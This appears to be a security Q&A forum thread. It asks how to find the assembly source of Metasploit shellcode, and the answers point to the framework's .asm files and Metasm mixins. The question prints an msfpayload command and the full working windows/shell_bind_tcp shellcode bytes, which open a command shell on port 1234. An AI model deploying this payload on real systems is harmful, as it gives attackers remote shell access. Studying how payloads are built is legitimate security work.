8

Is there a way to see a source code of metasploit shellcodes.

For example:

root@kali:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 C
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x04\xd2\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xfe\x0e\x32\xea"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

Is there a way to see a source code (C or assembly ) of buffer(shellcode)? Or perhaps tool that can get as parameter buffer and return code.

Many thanks for help!

2 Answers 2

7

The source code of Metasploit shellcode can be found in the directory external/source/shellcode/windows/x86/ folder. Depending upon the type of shellcode, the asm file is placed in separate sub folders. For example, the source code for the shellcode windows/shell_bind_tcp is at the location:

source/shellcode/windows/x86/src/single/single_shell_bind_tcp.asm

If you look at the conents of the file, it refers to other files which are included in the main shell_bind_tcp.asm source file. The first file included in the shell_bind_tcp.asm file is the block_api.asm file where the main logic of setting up the environment for executing the shellcode. The line of include look like:

%include "./src/block/block_api.asm"

The next block included is that of block_tcp which setup up the TCP transport, then the logic of ExitFunction through (ironically) exit_funk.asm.

Take a look at Modifying Metasploit's Stager Shellcode blog post from Raphael Mudge on how to edit and then compile the modified shellcode. The source files of the shellcode are documented so you can easily follow what is going on in the Assembly instructions.

3

Our plan is to migrate most of the Windows stagers to Metasm, so the source code is being moved into various mixins instead static assembly files. For example, reverse_http(s) is now implemented in https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_http.rb#L152

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .